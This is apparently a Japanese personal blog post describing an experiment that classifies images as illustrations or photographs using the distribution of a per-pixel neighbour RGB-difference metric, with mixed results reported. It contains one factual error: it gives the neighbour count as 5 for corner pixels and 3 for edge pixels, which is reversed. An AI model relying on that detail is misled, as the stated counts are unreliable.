ビットマップ画像は、色情報をマトリクスにしたものである。つまり、それぞれの座標 {\bf p} = (x,y) に対して、 RGB 値が与えられている。この各々の座標に対して、近傍の座標との RGB 値の変化について考える。

イラストの場合、単色で塗られた領域が多くあるはずなので、近傍とのRGB値の変化は乏しいと考えられる。また逆に、写真の場合、下図のように、隣り合う座標であっても、いくらか RGB 値が変化していると考えられる。
f:id:saltcandy123:20121224200622p:plain 写真の拡大図

ここで、 RGB 変化量 v(x, y) という数量を次のように定義する。
v({\bf p}) := \max_{{\bf p'}\in K} \sqrt{\frac{1}{3}\{(R_{\bf p}-R_{\bf p'})^2+(G_{\bf p}-G_{\bf p'})^2+(B_{\bf p}-B_{\bf p'})^2\}}
ただし、 K は近傍の座標の集合である。下図の数字部分のように、通常は |K|=8 であるが、\bf p が画像の隅にあるときには |K|=5 、端にあるときには |K|=3 である。
f:id:saltcandy123:20121224210410p:plain

この RGB 変化量の分布を得ることで、画像がイラストなのか写真なのかを識別しようというのが、今回思いついたアイデアである。

実験

イラスト画像および写真画像それぞれでの、RGB 変化量の分布を調べてみることにした。

イラスト画像としては、 イラストコミュニケーションサービス[pixiv(ピクシブ)] より、新着画像とデイリーランキングから合わせて151点の画像をサンプルとした。写真画像としては、携帯電話で撮った写真107点をサンプルとした。どちらのサンプルも、写真ともイラストとも見てとれるため、紙を写したものは含めなかった。また、短辺が 300px を超える画像については、短辺が 300px 程度になるようにリサイズを行った。

それぞれの全サンプルでの単純な RGB 変化量の分布を調べた結果が、次のグラフである。
f:id:saltcandy123:20121224225657p:plain
このグラフは、横軸を k、縦軸を n とすると、 n は、  k\leq v(x,y) < k+1 となる  v(x,y) の個数を示している。

ここから分かるように、写真画像は、イラスト画像と異なり、  k=0 のときに最高値を示さない。これを識別法として、それぞれのサンプルに対し、識別を行った。

イラストサンプル 写真サンプル
イラスト判定 87 (58%) 18 (17%)
写真判定 64 (42%) 89 (83%)

このように、イラストを写真と誤判定することが多く、あまりよい結果とは言えなかった。

結論

イラストと写真を識別するのは、難しい。

はてなブログをはじめました

はじめました。興味のあることを時折書きます。